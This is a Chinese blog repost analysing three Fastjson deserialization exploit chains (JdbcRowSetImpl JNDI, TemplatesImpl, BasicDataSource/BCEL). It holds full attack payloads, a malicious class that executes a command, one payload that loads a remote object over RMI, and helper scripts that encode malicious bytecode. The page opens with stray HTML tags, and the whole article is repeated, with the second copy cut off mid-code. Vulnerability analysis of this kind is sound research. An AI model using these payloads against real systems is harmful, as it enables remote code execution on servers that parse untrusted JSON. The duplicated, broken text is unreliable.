<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          你看,F(xiàn)astjson 漏洞也太多了吧。。

          共 12059字,需瀏覽 25分鐘

           ·

          2021-11-04 15:33

          點擊關(guān)注公眾號,Java干貨及時送達

          作者:4ra1n?
          來源:https://www.anquanke.com/post/id/248892

          Fastjson已被大家分析過很多次,本文主要是對三種利用鏈做分析和對比

          JdbcRowSetImpl

          String?payload?=?"{\n"?+
          ????"????\"a\":{\n"?+
          ????"????????\"@type\":\"java.lang.Class\",\n"?+
          ????"????????\"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n"?+
          ????"????},\n"?+
          ????"????\"b\":{\n"?+
          ????"????????\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n"?+
          ????"????????\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n"?+
          ????"????????\"autoCommit\":true\n"?+
          ????"????}\n"?+
          ????"}";
          JSON.parse(payload);

          payload中的a對象用來當作緩存繞過,需要關(guān)注的是第二個對象

          注意到其中"autoCommit":true,反序列化時,會反射設(shè)置屬性,調(diào)用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

          ????public?void?setAutoCommit(boolean?var1)?throws?SQLException?{
          ????????if?(this.conn?!=?null)?{
          ????????????this.conn.setAutoCommit(var1);
          ????????}?else?{
          ????????????//?conn為空才會調(diào)用到這里
          ????????????this.conn?=?this.connect();
          ????????????this.conn.setAutoCommit(var1);
          ????????}
          ????}

          跟入com.sun.rowset.JdbcRowSetImpl.connect(),觸發(fā)lookup,加載遠程惡意對象

          protected?Connection?connect()?throws?SQLException?{
          ????if?(this.conn?!=?null)?{
          ????????return?this.conn;
          ????}?else?if?(this.getDataSourceName()?!=?null)?{
          ????????try?{
          ????????????//?conn為空且dataSourceName不為空才會到這里
          ????????????InitialContext?var1?=?new?InitialContext();
          ????????????//?成功觸發(fā)JNDI注入
          ????????????DataSource?var2?=?(DataSource)var1.lookup(this.getDataSourceName());

          根據(jù)lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

          ????public?Object?lookup(Name?var1)?throws?NamingException?{
          ????????if?(var1.isEmpty())?{
          ????????????......
          ????????????return?this.decodeObject(var2,?var1.getPrefix(1));
          ????????}
          ????}

          跟入decodeObject方法,看到加載了遠程Reference綁定的惡意對象

          Object?var3?=?var1?instanceof?RemoteReference???((RemoteReference)var1).getReference()?:?var1;
          return?NamingManager.getObjectInstance(var3,?var2,?this,?this.environment);

          總結(jié):

          • 實戰(zhàn)可以利用,JDNI注入基于較低版本的JDK,LDAP適用范圍更廣
          • 必須能出網(wǎng),加載遠端的惡意字節(jié)碼,造成了局限性

          TemplateImpl

          String?payload?=?"{\"a\":{\n"?+
          ????"\"@type\":\"java.lang.Class\",\n"?+
          ????"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n"?+
          ????"},\n"?+
          ????"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","?+
          ????"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
          JSON.parse(payload,?Feature.SupportNonPublicField);

          注意其中的Payload來自于惡意類,該類應(yīng)該繼承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

          public?class?TEMPOC?extends?AbstractTranslet?{
          ????public?TEMPOC()?throws?IOException?{
          ????????Runtime.getRuntime().exec("calc.exe");
          ????}
          ????@Override
          ????public?void?transform(DOM?document,?DTMAxisIterator?iterator,?SerializationHandler?handler)?{
          ????}
          ????public?void?transform(DOM?document,?com.sun.org.apache.xml.internal.serializer.SerializationHandler[]?haFndlers)?throws?TransletException?{
          ????}
          ????public?static?void?main(String[]?args)?throws?Exception?{
          ????????TEMPOC?t?=?new?TEMPOC();
          ????}
          }

          類似第一條鏈,使用兩個對象繞過,其中的Payload為惡意類的字節(jié)碼再Base64編碼的結(jié)果,給出簡易的py腳本

          fin?=?open(r"PATH-TO-TEMPOC.class",?"rb")
          byte?=?fin.read()
          fout?=?base64.b64encode(byte).decode("utf-8")
          print(fout)

          該鏈需要開啟Feature.SupportNonPublicField參數(shù)再反射設(shè)置屬性,查看官方說明,如果某屬性不存在set方法,但還想設(shè)置值時,需要開啟該參數(shù),這里的情況正好符合,而實際項目中很少出現(xiàn)這種情況,導致該鏈較雞肋,沒有實際的意義(其實TemplateImpl類中有set方法,比如setTransletBytecodes,但是名稱和Bytecodes不一致)

          com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField設(shè)置屬性時會有判斷

          final?int?mask?=?Feature.SupportNonPublicField.mask;
          if?(fieldDeserializer?==?null
          ????&&?(lexer.isEnabled(mask)
          ????????||?(this.beanInfo.parserFeatures?&?mask)?!=?0))?{
          ????......

          反序列化時,fastjson中會把”_”開頭的屬性替換為空。并在outputProperties設(shè)置值時調(diào)用getOutputProperties

          ???public?synchronized?Properties?getOutputProperties()?{
          ????????try?{
          ????????????return?newTransformer().getOutputProperties();
          ????????}
          ????????catch?(TransformerConfigurationException?e)?{
          ????????????return?null;
          ????????}
          ????}

          調(diào)用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

          transformer?=?new?TransformerImpl(getTransletInstance(),?_outputProperties,?_indentNumber,?_tfactory);

          跟入getTransletInstance

          //?name不能為空所以在payload中設(shè)置a.b
          if?(_name?==?null)?return?null;
          //?關(guān)鍵
          if?(_class?==?null)?defineTransletClasses();

          //?The?translet?needs?to?keep?a?reference?to?all?its?auxiliary
          //?class?to?prevent?the?GC?from?collecting?them
          AbstractTranslet?translet?=?(AbstractTranslet)?_class[_transletIndex].newInstance();

          再跟入defineTransletClasses,對父類進行了驗證,這樣解釋了為什么Payload惡意類要繼承自該類。如果驗證沒有問題,將在上方的newInstance方法中實例化該類,造成RCE

          private?static?String?ABSTRACT_TRANSLET
          ????????=?"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

          if?(superClass.getName().equals(ABSTRACT_TRANSLET))?{
          ????_transletIndex?=?i;
          }

          為什么_bytescode要對字節(jié)碼進行base64編碼?反序列化的過程中會調(diào)用很多類,在經(jīng)過該類com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的時候,會對字段進行一次base64的解碼

          ......
          if?(token?==?JSONToken.LITERAL_STRING?||?token?==?JSONToken.HEX)?{
          ????byte[]?bytes?=?lexer.bytesValue();
          ????......

          跟入lexer.bytesValue()方法,看到decodeBase64

          public?byte[]?bytesValue()?{
          ????......
          ????//?base64解碼
          ????return?IOUtils.decodeBase64(buf,?np?+?1,?sp);
          }

          總結(jié):

          • TemplatesImpl類是Java反序列化界比較常用的類,更容易理解和上手
          • 需要開啟Feature.SupportNonPublicField,實戰(zhàn)中不適用

          BasicDataSource

          String?payload?=?"{\n"?+
          ????"????\"name\":\n"?+
          ????"????{\n"?+
          ????"????????\"@type\"?:?\"java.lang.Class\",\n"?+
          ????"????????\"val\"???:?\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n"?+
          ????"????},\n"?+
          ????"????\"x\"?:?{\n"?+
          ????"????????\"name\":?{\n"?+
          ????"????????????\"@type\"?:?\"java.lang.Class\",\n"?+
          ????"????????????\"val\"???:?\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"?+
          ????"????????},\n"?+
          ????"????????\"y\":?{\n"?+
          ????"????????????\"@type\":\"com.alibaba.fastjson.JSONObject\",\n"?+
          ????"????????????\"c\":?{\n"?+
          ????"????????????????\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"?+
          ????"????????????????\"driverClassLoader\":?{\n"?+
          ????"????????????????????\"@type\"?:?\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"?+
          ????"????????????????},\n"?+
          ????"????????????????\"driverClassName\":\"!!!Payload!!!\",\n"?+
          ????"\n"?+
          ????"?????????????????????\"$ref\":?\"$.x.y.c.connection\"\n"?+
          ????"\n"?+
          ????"????????????}\n"?+
          ????"????????}\n"?+
          ????"????}\n"?+
          ????"}";
          JSON.parse(payload);

          這個Payload適用于1.2.37版本,并且需要導入Tomcat相關(guān)的包


          ????
          ????????com.alibaba
          ????????fastjson
          ????????1.2.37
          ????

          ????
          ????????org.apache.tomcat
          ????????tomcat-dbcp
          ????????8.0.36
          ????


          生成driverClassName的工具如下

          import?com.sun.org.apache.bcel.internal.util.ClassLoader;
          import?com.sun.org.apache.bcel.internal.classfile.JavaClass;
          import?com.sun.org.apache.bcel.internal.classfile.Utility;
          import?com.sun.org.apache.bcel.internal.Repository;

          public?class?Test?{
          ????public?static?void?main(String[]?args)?throws?Exception?{
          ????????JavaClass?cls?=?Repository.lookupClass(Exp.class);
          ????????String?code?=?Utility.encode(cls.getBytes(),?true);
          ????????code?=?"$$BCEL$$"?+?code;
          ????????new?ClassLoader().loadClass(code).newInstance();
          ????????System.out.println(code);
          ????}
          }

          BCEL的全名是Apache Commons BCEL,Apache Commons項目下的一個子項目,包含在JDK的原生庫中。我們可以通過BCEL提供的兩個類 Repository 和 Utility 來利用:Repository 用于將一個Java Class先轉(zhuǎn)換成原生字節(jié)碼,當然這里也可以直接使用javac命令來編譯java文件生成字節(jié)碼;Utility 用于將原生的字節(jié)碼轉(zhuǎn)換成BCEL格式的字節(jié)碼。

          點擊關(guān)注公眾號,Java干貨及時送達

          生成的BCEL格式大概如下:

          $$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......

          將這種格式的字符串,作為“字節(jié)碼”傳入new ClassLoader().loadClass(code).newInstance();將會被實例化,當我們在Fastjson反序列化中構(gòu)造出這種鏈,將會造成反序列化漏洞

          回到Payload,開頭一部分用于繞Fastjson黑白名單,沒有什么特殊的意義,核心部分如下:

          "x"?:?{
          ????"name":?{
          ????????"@type"?:?"java.lang.Class",
          ????????"val"???:?"com.sun.org.apache.bcel.internal.util.ClassLoader"
          ????},
          ????"y":?{
          ????????"@type":"com.alibaba.fastjson.JSONObject",
          ????????"c":?{
          ????????????"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
          ????????????"driverClassLoader":?{
          ????????????????"@type"?:?"com.sun.org.apache.bcel.internal.util.ClassLoader"
          ????????????},
          ????????????"driverClassName":"!!!Payload!!!",
          ????????????"$ref":?"$.x.y.c.connection"
          ????????}
          ????}
          }

          這個版本利用的是$ref這個特性:當fastjson版本>=1.2.36時,我們可以使用$ref的方式來調(diào)用任意的getter,比如這個Payload調(diào)用的是x.y.c.connection,x是這個大對象,最終調(diào)用的是c對象的connection方法,也就是BasicDataSource.connection

          參考代碼com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

          if?("$ref"?==?key?&&?context?!=?null)?{
          ????//?傳入的ref是$.x.y.c.connection,匹配到else
          ????if?("@".equals(ref))?{
          ????????...
          ????}?else?if?("..".equals(ref))?{
          ????????...
          ????}?else?if?("$".equals(ref))?{
          ????????...
          ????}?else?{
          ????????Object?refObj?=?parser.resolveReference(ref);
          ????????if?(refObj?!=?null)?{
          ????????????object?=?refObj;
          ????????}?else?{
          ????????????//?將$.x.y.c.connection加入到Task
          ????????????parser.addResolveTask(new?ResolveTask(context,?ref));
          ????????????parser.resolveStatus?=?DefaultJSONParser.NeedToResolve;
          ????????}
          ????}
          }
          //?處理后設(shè)置到context
          parser.setContext(context,?object,?fieldName);

          漏洞的觸發(fā)點在com.alibaba.fastjson.JSON.parse:154

          parser.handleResovleTask(value);

          跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

          if?(ref.startsWith("$"))?{
          ????refValue?=?getObject(ref);
          ????if?(refValue?==?null)?{
          ????????try?{
          ????????????//?看到eval感覺有東西
          ????????????refValue?=?JSONPath.eval(value,?ref);
          ????????}?catch?(JSONPathException?ex)?{
          ????????????//?skip
          ????????}
          ????}
          }

          跟入JSONPath.eval,這里的segement數(shù)組中的是[x,y,c,connection]

          public?Object?eval(Object?rootObject)?{
          ????if?(rootObject?==?null)?{
          ????????return?null;
          ????}

          ????init();

          ????Object?currentObject?=?rootObject;
          ????for?(int?i?=?0;?i?????????Segement?segement?=?segments[i];
          ????????//?繼續(xù)跟入
          ????????currentObject?=?segement.eval(this,?rootObject,?currentObject);
          ????}
          ????return?currentObject;
          }

          到達com.alibaba.fastjson.JSONPath:1350

          public?Object?eval(JSONPath?path,?Object?rootObject,?Object?currentObject)?{
          ????if?(deep)?{
          ????????List?results?=?new?ArrayList();
          ????????path.deepScan(currentObject,?propertyName,?results);
          ????????return?results;
          ????}?else?{
          ????????//?return?path.getPropertyValue(currentObject,?propertyName,?true);
          ????????return?path.getPropertyValue(currentObject,?propertyName,?propertyNameHash);
          ????}
          }

          繼續(xù)跟入path.getPropertyValue

          protected?Object?getPropertyValue(Object?currentObject,?String?propertyName,?long?propertyNameHash)?{
          ????if?(currentObject?==?null)?{
          ????????return?null;
          ????}
          ????if?(currentObject?instanceof?Map)?{
          ????????Map?map?=?(Map)?currentObject;
          ????????Object?val?=?map.get(propertyName);

          ????????if?(val?==?null?&&?SIZE?==?propertyNameHash)?{
          ????????????val?=?map.size();
          ????????}

          ????????return?val;
          ????}

          ????final?Class?currentClass?=?currentObject.getClass();

          ????JavaBeanSerializer?beanSerializer?=?getJavaBeanSerializer(currentClass);
          ????if?(beanSerializer?!=?null)?{
          ????????try?{
          ????????????//?最后一次循環(huán)到達這里
          ????????????return?beanSerializer.getFieldValue(currentObject,?propertyName,?propertyNameHash,?false);
          ????????}?catch?(Exception?e)?{
          ????????????throw?new?JSONPathException("jsonpath?error,?path?"?+?path?+?",?segement?"?+?propertyName,?e);
          ????????}
          ????}

          跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

          public?Object?getFieldValue(Object?object,?String?key,?long?keyHash,?boolean?throwFieldNotFoundException)?{
          ????FieldSerializer?fieldDeser?=?getFieldSerializer(keyHash);
          ????......
          ????//?跟入
          ????return?fieldDeser.getPropertyValue(object);
          }

          跟入com.alibaba.fastjson.serializer.FieldSerializer:145

          public?Object?getPropertyValue(Object?object)?throws?InvocationTargetException,?IllegalAccessException?{
          ????Object?propertyValue?=??fieldInfo.get(object);

          到達com.alibaba.fastjson.util.FieldInfo,達到最終觸發(fā)點:method.invoke

          public?Object?get(Object?javaObject)?throws?IllegalAccessException,?InvocationTargetException?{
          ????return?method?!=?null
          ??????????????method.invoke(javaObject)
          ????????????:?field.get(javaObject);
          }

          看到這里的javaObject正是BasicDataSouce

          回到BasicDataSource本身

          public?Connection?getConnection()?throws?SQLException?{
          ????if?(Utils.IS_SECURITY_ENABLED)?{
          ????????//?跟入
          ????????final?PrivilegedExceptionAction?action?=?new?PaGetConnection();
          ????????try?{
          ????????????return?AccessController.doPrivileged(action);
          ????????}?catch?(final?PrivilegedActionException?e)?{
          ????????????final?Throwable?cause?=?e.getCause();
          ????????????if?(cause?instanceof?SQLException)?{
          ????????????????throw?(SQLException)?cause;
          ????????????}
          ????????????throw?new?SQLException(e);
          ????????}
          ????}
          ????return?createDataSource().getConnection();
          }
          ????private?class?PaGetConnection?implements?PrivilegedExceptionAction?{

          ????????@Override
          ????????public?Connection?run()?throws?SQLException?{
          ????????????//?跟入createDataSource()
          ????????????return?createDataSource().getConnection();
          ????????}
          ????}
          //?繼續(xù)跟入createConnectionFactory()
          final?ConnectionFactory?driverConnectionFactory?=?createConnectionFactory();

          最終觸發(fā)點,其中driverClassNamedriverClassLoader都是可控的,由用戶輸入,指定ClassLoader為com.sun.org.apache.bcel.internal.util.ClassLoader,設(shè)置ClassName為BCEL...這種格式后,在newInstance方法執(zhí)行后被實例化。第二個參數(shù)initial為true時,類加載后將會直接執(zhí)行static{}塊中的代碼。

          薦一個 Spring Boot 基礎(chǔ)教程及實戰(zhàn)示例:https://github.com/javastacks/javastack

          if?(driverClassLoader?==?null)?{
          ????driverFromCCL?=?Class.forName(driverClassName);
          }?else?{
          ????driverFromCCL?=?Class.forName(
          ????????driverClassName,?true,?driverClassLoader);
          }
          ...
          driverFromCCL?=?Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
          ...
          driverToUse?=?(Driver)?driverFromCCL.newInstance();

          總結(jié):

          • 不需要出網(wǎng),不需要開啟特殊的參數(shù),適用范圍較廣
          • 目標需要引入tomcat依賴,雖說比較常見,但也是一種限制

          Fastjson已被大家分析過很多次,本文主要是對三種利用鏈做分析和對比。

          最新面試題整理好了,點擊Java面試庫小程序在線刷題。

          JdbcRowSetImpl

          String?payload?=?"{\n"?+
          ????"????\"a\":{\n"?+
          ????"????????\"@type\":\"java.lang.Class\",\n"?+
          ????"????????\"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n"?+
          ????"????},\n"?+
          ????"????\"b\":{\n"?+
          ????"????????\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n"?+
          ????"????????\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n"?+
          ????"????????\"autoCommit\":true\n"?+
          ????"????}\n"?+
          ????"}";
          JSON.parse(payload);

          payload中的a對象用來當作緩存繞過,需要關(guān)注的是第二個對象

          注意到其中"autoCommit":true,反序列化時,會反射設(shè)置屬性,調(diào)用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

          ????public?void?setAutoCommit(boolean?var1)?throws?SQLException?{
          ????????if?(this.conn?!=?null)?{
          ????????????this.conn.setAutoCommit(var1);
          ????????}?else?{
          ????????????//?conn為空才會調(diào)用到這里
          ????????????this.conn?=?this.connect();
          ????????????this.conn.setAutoCommit(var1);
          ????????}
          ????}

          跟入com.sun.rowset.JdbcRowSetImpl.connect(),觸發(fā)lookup,加載遠程惡意對象

          protected?Connection?connect()?throws?SQLException?{
          ????if?(this.conn?!=?null)?{
          ????????return?this.conn;
          ????}?else?if?(this.getDataSourceName()?!=?null)?{
          ????????try?{
          ????????????//?conn為空且dataSourceName不為空才會到這里
          ????????????InitialContext?var1?=?new?InitialContext();
          ????????????//?成功觸發(fā)JNDI注入
          ????????????DataSource?var2?=?(DataSource)var1.lookup(this.getDataSourceName());

          根據(jù)lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

          ????public?Object?lookup(Name?var1)?throws?NamingException?{
          ????????if?(var1.isEmpty())?{
          ????????????......
          ????????????return?this.decodeObject(var2,?var1.getPrefix(1));
          ????????}
          ????}

          跟入decodeObject方法,看到加載了遠程Reference綁定的惡意對象

          Object?var3?=?var1?instanceof?RemoteReference???((RemoteReference)var1).getReference()?:?var1;
          return?NamingManager.getObjectInstance(var3,?var2,?this,?this.environment);

          總結(jié):

          • 實戰(zhàn)可以利用,JDNI注入基于較低版本的JDK,LDAP適用范圍更廣
          • 必須能出網(wǎng),加載遠端的惡意字節(jié)碼,造成了局限性

          點擊關(guān)注公眾號,Java干貨送達

          TemplateImpl

          String?payload?=?"{\"a\":{\n"?+
          ????"\"@type\":\"java.lang.Class\",\n"?+
          ????"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n"?+
          ????"},\n"?+
          ????"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","?+
          ????"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
          JSON.parse(payload,?Feature.SupportNonPublicField);

          注意其中的Payload來自于惡意類,該類應(yīng)該繼承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

          public?class?TEMPOC?extends?AbstractTranslet?{
          ????public?TEMPOC()?throws?IOException?{
          ????????Runtime.getRuntime().exec("calc.exe");
          ????}
          ????@Override
          ????public?void?transform(DOM?document,?DTMAxisIterator?iterator,?SerializationHandler?handler)?{
          ????}
          ????public?void?transform(DOM?document,?com.sun.org.apache.xml.internal.serializer.SerializationHandler[]?haFndlers)?throws?TransletException?{
          ????}
          ????public?static?void?main(String[]?args)?throws?Exception?{
          ????????TEMPOC?t?=?new?TEMPOC();
          ????}
          }

          類似第一條鏈,使用兩個對象繞過,其中的Payload為惡意類的字節(jié)碼再Base64編碼的結(jié)果,給出簡易的py腳本

          fin?=?open(r"PATH-TO-TEMPOC.class",?"rb")
          byte?=?fin.read()
          fout?=?base64.b64encode(byte).decode("utf-8")
          print(fout)

          該鏈需要開啟Feature.SupportNonPublicField參數(shù)再反射設(shè)置屬性,查看官方說明,如果某屬性不存在set方法,但還想設(shè)置值時,需要開啟該參數(shù),這里的情況正好符合,而實際項目中很少出現(xiàn)這種情況,導致該鏈較雞肋,沒有實際的意義(其實TemplateImpl類中有set方法,比如setTransletBytecodes,但是名稱和Bytecodes不一致)

          com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField設(shè)置屬性時會有判斷

          final?int?mask?=?Feature.SupportNonPublicField.mask;
          if?(fieldDeserializer?==?null
          ????&&?(lexer.isEnabled(mask)
          ????????||?(this.beanInfo.parserFeatures?&?mask)?!=?0))?{
          ????......

          反序列化時,fastjson中會把”_”開頭的屬性替換為空。并在outputProperties設(shè)置值時調(diào)用getOutputProperties

          ???public?synchronized?Properties?getOutputProperties()?{
          ????????try?{
          ????????????return?newTransformer().getOutputProperties();
          ????????}
          ????????catch?(TransformerConfigurationException?e)?{
          ????????????return?null;
          ????????}
          ????}

          調(diào)用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

          transformer?=?new?TransformerImpl(getTransletInstance(),?_outputProperties,?_indentNumber,?_tfactory);

          跟入getTransletInstance

          //?name不能為空所以在payload中設(shè)置a.b
          if?(_name?==?null)?return?null;
          //?關(guān)鍵
          if?(_class?==?null)?defineTransletClasses();

          //?The?translet?needs?to?keep?a?reference?to?all?its?auxiliary
          //?class?to?prevent?the?GC?from?collecting?them
          AbstractTranslet?translet?=?(AbstractTranslet)?_class[_transletIndex].newInstance();

          再跟入defineTransletClasses,對父類進行了驗證,這樣解釋了為什么Payload惡意類要繼承自該類。如果驗證沒有問題,將在上方的newInstance方法中實例化該類,造成RCE

          private?static?String?ABSTRACT_TRANSLET
          ????????=?"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

          if?(superClass.getName().equals(ABSTRACT_TRANSLET))?{
          ????_transletIndex?=?i;
          }

          為什么_bytescode要對字節(jié)碼進行base64編碼?反序列化的過程中會調(diào)用很多類,在經(jīng)過該類com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的時候,會對字段進行一次base64的解碼

          ......
          if?(token?==?JSONToken.LITERAL_STRING?||?token?==?JSONToken.HEX)?{
          ????byte[]?bytes?=?lexer.bytesValue();
          ????......

          跟入lexer.bytesValue()方法,看到decodeBase64

          public?byte[]?bytesValue()?{
          ????......
          ????//?base64解碼
          ????return?IOUtils.decodeBase64(buf,?np?+?1,?sp);
          }

          總結(jié):

          • TemplatesImpl類是Java反序列化界比較常用的類,更容易理解和上手
          • 需要開啟Feature.SupportNonPublicField,實戰(zhàn)中不適用

          BasicDataSource

          String?payload?=?"{\n"?+
          ????"????\"name\":\n"?+
          ????"????{\n"?+
          ????"????????\"@type\"?:?\"java.lang.Class\",\n"?+
          ????"????????\"val\"???:?\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n"?+
          ????"????},\n"?+
          ????"????\"x\"?:?{\n"?+
          ????"????????\"name\":?{\n"?+
          ????"????????????\"@type\"?:?\"java.lang.Class\",\n"?+
          ????"????????????\"val\"???:?\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"?+
          ????"????????},\n"?+
          ????"????????\"y\":?{\n"?+
          ????"????????????\"@type\":\"com.alibaba.fastjson.JSONObject\",\n"?+
          ????"????????????\"c\":?{\n"?+
          ????"????????????????\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"?+
          ????"????????????????\"driverClassLoader\":?{\n"?+
          ????"????????????????????\"@type\"?:?\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"?+
          ????"????????????????},\n"?+
          ????"????????????????\"driverClassName\":\"!!!Payload!!!\",\n"?+
          ????"\n"?+
          ????"?????????????????????\"$ref\":?\"$.x.y.c.connection\"\n"?+
          ????"\n"?+
          ????"????????????}\n"?+
          ????"????????}\n"?+
          ????"????}\n"?+
          ????"}";
          JSON.parse(payload);

          這個Payload適用于1.2.37版本,并且需要導入Tomcat相關(guān)的包


          ????
          ????????com.alibaba
          ????????fastjson
          ????????1.2.37
          ????

          ????
          ????????org.apache.tomcat
          ????????tomcat-dbcp
          ????????8.0.36
          ????


          生成driverClassName的工具如下

          import?com.sun.org.apache.bcel.internal.util.ClassLoader;
          import?com.sun.org.apache.bcel.internal.classfile.JavaClass;
          import?com.sun.org.apache.bcel.internal.classfile.Utility;
          import?com.sun.org.apache.bcel.internal.Repository;

          public?class?Test?{
          ????public?static?void?main(String[]?args)?throws?Exception?{
          ????????JavaClass?cls?=?Repository.lookupClass(Exp.class);
          ????????String?code?=?Utility.encode(cls.getBytes(),?true);
          ????????code?=?"$$BCEL$$"?+?code;
          ????????new?ClassLoader().loadClass(code).newInstance();
          ????????System.out.println(code);
          ????}
          }

          BCEL的全名是Apache Commons BCEL,Apache Commons項目下的一個子項目,包含在JDK的原生庫中。我們可以通過BCEL提供的兩個類 Repository 和 Utility 來利用:Repository 用于將一個Java Class先轉(zhuǎn)換成原生字節(jié)碼,當然這里也可以直接使用javac命令來編譯java文件生成字節(jié)碼;Utility 用于將原生的字節(jié)碼轉(zhuǎn)換成BCEL格式的字節(jié)碼。

          最新面試題整理好了,點擊Java面試庫小程序在線刷題。


          生成的BCEL格式大概如下:

          $$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......

          將這種格式的字符串,作為“字節(jié)碼”傳入new ClassLoader().loadClass(code).newInstance();將會被實例化,當我們在Fastjson反序列化中構(gòu)造出這種鏈,將會造成反序列化漏洞

          回到Payload,開頭一部分用于繞Fastjson黑白名單,沒有什么特殊的意義,核心部分如下:

          "x"?:?{
          ????"name":?{
          ????????"@type"?:?"java.lang.Class",
          ????????"val"???:?"com.sun.org.apache.bcel.internal.util.ClassLoader"
          ????},
          ????"y":?{
          ????????"@type":"com.alibaba.fastjson.JSONObject",
          ????????"c":?{
          ????????????"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
          ????????????"driverClassLoader":?{
          ????????????????"@type"?:?"com.sun.org.apache.bcel.internal.util.ClassLoader"
          ????????????},
          ????????????"driverClassName":"!!!Payload!!!",
          ????????????"$ref":?"$.x.y.c.connection"
          ????????}
          ????}
          }

          這個版本利用的是$ref這個特性:當fastjson版本>=1.2.36時,我們可以使用$ref的方式來調(diào)用任意的getter,比如這個Payload調(diào)用的是x.y.c.connection,x是這個大對象,最終調(diào)用的是c對象的connection方法,也就是BasicDataSource.connection

          參考代碼com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

          if?("$ref"?==?key?&&?context?!=?null)?{
          ????//?傳入的ref是$.x.y.c.connection,匹配到else
          ????if?("@".equals(ref))?{
          ????????...
          ????}?else?if?("..".equals(ref))?{
          ????????...
          ????}?else?if?("$".equals(ref))?{
          ????????...
          ????}?else?{
          ????????Object?refObj?=?parser.resolveReference(ref);
          ????????if?(refObj?!=?null)?{
          ????????????object?=?refObj;
          ????????}?else?{
          ????????????//?將$.x.y.c.connection加入到Task
          ????????????parser.addResolveTask(new?ResolveTask(context,?ref));
          ????????????parser.resolveStatus?=?DefaultJSONParser.NeedToResolve;
          ????????}
          ????}
          }
          //?處理后設(shè)置到context
          parser.setContext(context,?object,?fieldName);

          漏洞的觸發(fā)點在com.alibaba.fastjson.JSON.parse:154

          parser.handleResovleTask(value);

          跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

          if?(ref.startsWith("$"))?{
          ????refValue?=?getObject(ref);
          ????if?(refValue?==?null)?{
          ????????try?{
          ????????????//?看到eval感覺有東西
          ????????????refValue?=?JSONPath.eval(value,?ref);
          ????????}?catch?(JSONPathException?ex)?{
          ????????????//?skip
          ????????}
          ????}
          }

          跟入JSONPath.eval,這里的segement數(shù)組中的是[x,y,c,connection]

          public?Object?eval(Object?rootObject)?{
          ????if?(rootObject?==?null)?{
          ????????return?null;
          ????}

          ????init();

          ????Object?currentObject?=?rootObject;
          ????for?(int?i?=?0;?i?????????Segement?segement?=?segments[i];
          ????????//?繼續(xù)跟入
          ????????currentObject?=?segement.eval(this,?rootObject,?currentObject);
          ????}
          ????return?currentObject;
          }

          到達com.alibaba.fastjson.JSONPath:1350

          public?Object?eval(JSONPath?path,?Object?rootObject,?Object?currentObject)?{
          ????if?(deep)?{
          ????????List?results?=?new?ArrayList();
          ????????path.deepScan(currentObject,?propertyName,?results);
          ????????return?results;
          ????}?else?{
          ????????//?return?path.getPropertyValue(currentObject,?propertyName,?true);
          ????????return?path.getPropertyValue(currentObject,?propertyName,?propertyNameHash);
          ????}
          }

          繼續(xù)跟入path.getPropertyValue

          protected?Object?getPropertyValue(Object?currentObject,?String?propertyName,?long?propertyNameHash)?{
          ????if?(currentObject?==?null)?{
          ????????return?null;
          ????}
          ????if?(currentObject?instanceof?Map)?{
          ????????Map?map?=?(Map)?currentObject;
          ????????Object?val?=?map.get(propertyName);

          ????????if?(val?==?null?&&?SIZE?==?propertyNameHash)?{
          ????????????val?=?map.size();
          ????????}

          ????????return?val;
          ????}

          ????final?Class?currentClass?=?currentObject.getClass();

          ????JavaBeanSerializer?beanSerializer?=?getJavaBeanSerializer(currentClass);
          ????if?(beanSerializer?!=?null)?{
          ????????try?{
